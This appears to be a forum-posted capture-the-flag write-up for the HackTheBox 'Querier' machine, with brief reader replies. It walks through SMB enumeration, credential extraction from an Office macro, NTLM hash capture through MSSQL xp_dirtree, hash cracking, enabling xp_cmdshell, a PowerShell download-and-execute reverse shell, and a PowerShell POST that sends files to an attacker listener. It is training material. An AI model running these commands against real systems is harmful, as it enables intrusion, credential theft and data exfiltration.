HackTheBox Write-Up - Querier

We’ve got another Windows box this week: Querier. Let’s attack.

NOTE: Before we start, I should note that there are many ways to achieve some of the things on this box, specifically GUI versus CLI. I always prefer CLI, but that doesn’t mean you have to do the same.

Starting off with our standard Nmap:

nmap -sC -sV -oA Querier 10.10.10.125

Explanations:

-sC - Script scanning using the default script list.
-sV - Attempts version detection of protocols/applications during scan.
-oA - Output files in all formats
Querier - The name of the files for -oA output.
10.10.10.125 - The target machine’s IP address.

Our open ports are 135, 139, 445, and 1433. My heart raced a bit when I saw 1433, which belongs to Microsoft SQL. For one, because that could be a real juicy target in the real world, but secondly because I’ve never exploited it before, and I like new experiences. However, I doubt we’ll be able to get anywhere with it yet, seeing as how we don’t have any credentials.

Instead, I choose to focus on 445, or SMB. I try connecting with smbclient.py (a part of impacket) to see if get lucky with a non-authenticated connection… and I do get lucky!

python smbclient.py querier.htb

Querier-Smbclient

We only have access to one share on this server, \Reports, which we can access by running use Reports. Inside \Reports, we find a file named Currency Volume Report.xlsm. Run the get command to download it to your attacking machine. This file contains a VBA macro. There are a few ways we can figure this out, but my experience in working with malware in the past has burned into my skull the instinct to run oletools on any Office documents I find.

python olevba.py "Currency Volume Report.xlsm"

Perfect! We can see a VBA macro inside this document, and olevba prints its contents for our review. We can see from the database connection string that a user ID and password is hard-coded into the macro. This is precisely what we were looking for, so let’s try our newfound credentials to log into the database. But how do we do that?

As with the rest of this box, there many ways you can utilize your shiny new creds to garner a connection to the database. As it turns out, the very same impacket that we used for our SMB connection also has a SQL tool, mssqlclient.py:

python mssqlclient.py -windows-auth reporting:PcwTWTHRwryjc\[email protected]

A couple of notes here that may become pitfalls for some if they attempt to just start running the command without reading further or thinking about things.

First, the bit that states -windows-auth specifies the type of authentication that we are using for our attempted database connection. There are several ways a SQL server will accept authentication, and you have to pick the right one for the credentials you are using. In our case, we are using windows authentication, which queries Windows directly to verify authentication, as opposed to SQL authentication, which queries the SQL database itself for authentication.

Second, the password we obtained from the macro contains a $ character. If we leave the password as is, the connection will fail, as $ is a special character in python. To successfully pass the correct password as a parameter, we need to escape it, which in python means preceding it with a backslash.

Querier-Mssqlclient

Our connection was successful! Now we can begin exploring the database to see what we might be able to do to get a better foothold. I have extremely limited knowledge of Microsoft SQL, and the experience I do have with MySQL was of no consequence for this attack. In fact, the only Microsoft SQL attack I know from my limited studies is the classic, xp_cmdshell. Sadly, xp_cmdshell is not available for our current user account, but that doesn’t mean we can’t look for other stored procedures we might be able to abuse:

SELECT name FROM master.sys.databases

Querier-TableNames

USE master

Querier-Table

SELECT name FROM dbo.sysobjects WHERE name like '%xp%' ORDER BY name

It took me a long, long time to figure out where I was going here, but it finally came down to just testing every single command to get an idea which I could use and which might be useful for abuse. Eventually, I found a promising command, xp_dirtree. This command does as you’d expect; it prints a tree of directories and subdirectories. To understand how we might be able to abuse it, we’re going to need a bit of research and hacker-like thinking. If we do enough of this in the right way, we’ll discover exactly what we need.

exec master.dbo.xp_dirtree '\\10.10.14.41'

Explanations:

exec - Tells SQL to executed a stored procedure.
master.dbo.xp_dirtree - The stored procedure we will be executing.
‘\10.10.14.41’ - The directory we will be executing xp_dirtree against.

Put that all together, and you’ll understand that we are forcing the victim machine to attempt to read the contents of a Samba/SMB share on my machine. But what’s the point in that? We can’t achieve code execution that way, so we must be after something else.

You’d be correct. In fact, we are after NTLM hashes, which are passed during attempted Samba/SMB connections from Windows systems to authenticate and prove what level of access they deserve. If we capture this hash on our machine, we may be able to do something with it. Let’s set ourselves up for success and get the attack prepped.

We don’t need to set up an actual share on our system. We can use a tool for that! In this case, we’re going to be using Responder:

responder -I tun0 

Once this is running, we can execute xp_dirtree!

And… it doesn’t work. This honestly had me baffled for a while. I had no idea why I was capturing something with Responder, but the information being captured looked nothing like NTLMv2 hashes. I spent some time Googling, then came upon a Metasploit module that may be able to help (yes, again, I know that Metasploit is not the best way to do things. I am still learning, so cut me some slack!): auxiliary/admin/mssql/mssql_ntlm_stealer

So, this sounds like exactly what we need. This module will force the execution of the stored procedure we have already confirmed exists, and it should garner us the mssql-svc credentials by passing a hash to Responder. We’ll take a few moments to set up the module’s options, then we’ll restart our Responder listener, and finally kick off the exploit:

use auxiliary/admin/mssql/mssql_ntlm_stealer
set PASSWORD PcwTWTHRwryjc$c6
set RHOSTS querier.htb
set SMBPROXY 10.10.14.41
set USERNAME reporting
set USE_WINDOWS_AUTHENT true

Once the exploit has completed, terminate responder and check /usr/share/responder/logs/. You should see a file named SMBv2-NTLMv2-SSP-10.10.10.125.txt. I, personally, made a copy of this file named hashes.txt and used vi to remove the last two lines. Now we’ve got a hash file we can use with hashcat to try to recover some passwords.

hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -o solvedhashes.txt

Explanations:

-m 5600 - Tells hashcat to use mode 5600, or NetNTLMv2.
hashes.txt - Our input hash file.
/usr/share/wordlists/rockyou.txt - Our wordlist. Hashcat will hash each line in this file according to the selected mode, then compare it to the hashes in our input hash file. If there are any matches, hashcat will let us know.
-o solvedhashes.txt - Tells hashcat to output completed hashes to the specified file.

Once hashcat is finished, check the contents of your output file:

Querier-CrackedHash

We now have the password for mssql-svc. With it, let’s get reconnected to the database using mssqlclient.py. Once we’re reconnected, let’s see if we can use xp_cmdshell to get code execution directly on the box:

We can’t run it immediately after connecting because it is disabled, but if our new credentials have enough privileges, we may be able to enable it. Let’s try using sp_configure to enable it, like the helpful error message suggested:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1; 
RECONFIGURE

Explanations:

EXEC sp_configure ‘show advanced options’, 1; - This executes sp_configure to set ‘show advanced options’ to 1, or true. This is required to configure xp_cmdshell, which is an advanced option.
RECONFIGURE - This applies the changes we have made thus far.
EXEC sp_configure ‘xp_cmdshell’, 1; - This executes sp_configure to set ‘xp_cmdshell’ to 1, or true.
RECONFIGURE - This applies the changes we have made thus far.

We can now run xp_cmdshell; it will succeed and return null output.

Querier-XpCmdshellWorks

Now, let’s try to read the user flag to see if we are lucky enough to have credentials with access:

xp_cmdshell "type C:\Users\mssql-svc\Desktop\user.txt"

Querier-UserFlag

And there is our user flag! We have code execution on this box through xp_cmdshell, so let’s try using it to get ourselves a better shell on the box.

If you’ve read any of my other write-ups, or if you just know me personally, you’ll know that I love PowerShell. I also tend to rely on the same Windows reverse shell for every box, so let’s get everything set up as per my usual tactics.

First, set up an HTTP server in the directory hosting your shell executable:

python -m SimpleHTTPServer 9009

Explanations:

-m - Run a module.
SimpleHTTPServer - Launch a simple HTTP server, as the name implies.
9009 - The port on which the server will listen for incoming connections.

Let’s also set up a listener for our reverse shell at this time:

nc -lp 2113

Explanations:

-l - Listen mode.
-p 2113 - Specifies the port on which to listen.

Now that our shell is hosted and our listener is waiting for our reverse shell, we’ll use xp_cmdshell to download the shell and execute it all in one fell swoop:

xp_cmdshell "C:\Users\mssql-svc\Desktop\shell.exe 10.10.14.41 2113"; xp_cmdshell "powershell -command ""((new-object System.Net.WebClient).DownloadFile(''http://10.10.14.41:9009/shell.exe'', ''C:\Users\mssql-svc\Desktop\shell.exe''))"""

Explanations:

-command - Specifies that everything in the following () will be executed as a command.
new-object System.Net.WebClient - Creates an object of the type System.Net.WebClient.
.DownloadFile - Calls the DownloadFile file function from System.Net.WebClient with the source and destination as parameters.

NOTE: It’s important to note that SQL will run our commands in the inverse direction of what you might expect. It will read the last command after the ; first, then read the next command to the left of the ;. In this case, that means that our file will be downloaded and saved to the box with one run of xp_cmdshell before being executed with the second xp_cmdshell, even if the execution appears to be first in line when reading the command from left to right.

Querier-ReverseShell

And we have our reverse shell. Next, we must enumerate. Surprisingly, despite my familiarly with Windows over Linux in a day-to-day usecase scenario, I have now done enough HackTheBox to become more confident at starting out the enumeration process on Linux. Windows, on the other hand, not so much. Luckily, the wonderful people on the 0x00sec HackTheBox team turned me onto a few great tools for Windows enumeration… and using PowerShell, no less! The one that did the trick for me in this case was PowerUp (now a part of PowerSploit).

I downloaded PowerSploit.ps1 to my attacking machine and re-used the still-running python HTTP server to host it. I used the same PowerShell command that I used to download the shell to the victim, only this time I called it directly from within my reverse shell instead of using xp_cmdshell. Once the file is successfully saved to the victim machine, we will run it and send the results to a .txt file. You don’t have to do this, but I want to do this so I can get the information back to my attacking box for later review. I realize there are better ways of doing this, but I wanted to share something interesting I learned that may come in handy in similar situations. Anyway, all that disclaimer aside, let’s run the tool:

powershell -command "& { . .\PowerUp.ps1; Invoke-PrivescAudit }" > powerup_audit.txt

Explanations:

-command - Specifies that everything in the following “” will be executed as a command. In this case, we are running multiple commands, so we prepend the brackets with an &.
Invoke-PrivescAudit - The specific function of PowerUp.ps1 that we are interested in running.

Once the tool has finished, we can review the contents. However, let’s talk about that little discovery I mentioned earlier. Specifically, it has to do with exfiltration via PowerShell.

Credit for this bit goes to the amazing Azeria Fox, whom I have been following on Twitter for a while but whose data exfiltration page I stumbled upon by accident during a Google search. We’re going to adapt some parts here to craft our own exfiltration one-liner. First, set up another listener, and pipe the output to a file:

nc -lp 1408 > exfil.txt

Now that our listener is running, here is our exfiltration one-liner:

powershell Invoke-WebRequest -Uri http://10.10.14.41:1408 -Method POST -Body (Get-Content powerup_audit.txt)

Explanations:

Invoke-WebResuest - This cmdlet allows us to make web requests. It is the PowerShell equivalent of curl.
-Uri - The target URL that will receive our web request.
-Method POST - Specifies the type of web request we are making; in this case, a POST request.
-Body - The content of our webrequest.
Get-Content - Reads and returns the contents of the specified file.

Both PowerShell and nc will appear to hang at this point. This is because nc has already received our request and is simply waiting to be terminated to finish writing it to the output file. However, because nc is not a full-featured web server, it can’t respond to the requesting machine, which causes the requesting machine to sit waiting for a response that will never come. Instead, we can just kill nc, which will kill both programs. On our attacking machine, we can now read the contents of exfil.txt (the output will look nasty, although there are ways to fix this that are wandering too far outside the scope of this already unnecessary tangent):

Let’s look at the view from the victim machine so we can break down what we’ve uncovered a bit easier:

I’m sure you see that very obvious password. That’s the key to our path to root, but where did it come from? Well, specifically, it came from C:\Windows\Panther\Unattend.xml. This file is created during unattended installs, and it often contains either plaintext or Base64-encoded administrator passwords.

Now we just need to leverage our credentials. Turns out, we’ve already used at least one way of getting our hands on the root flag: smbclient.py. Use it the same way we did at the beginning of this box, but connect with the administrator credentials instead:

python smbclient.py administrator:MyUnclesAreMarioAndLuigi\!\!1\[email protected]

Once we’re connected, run use C$ to connect to the administrative share on the C:/ drive. From there, cd to C:/Users/administrator/Desktop and run get root.txt. On your local machine, read the contents of the flag file, and you’ve owned this box.

Thanks for hanging in there throughout this write-up. There was a lot to break down; I tried to strike a balance between efficiency and imparting useful knowledge. I can only hope it was a success.

6 Likes

Awesome writeup man!

Really liked this box, was good fun! A lot of windows stuff on this one and a solid box if you don’t know windows pentesting very well.

2 Likes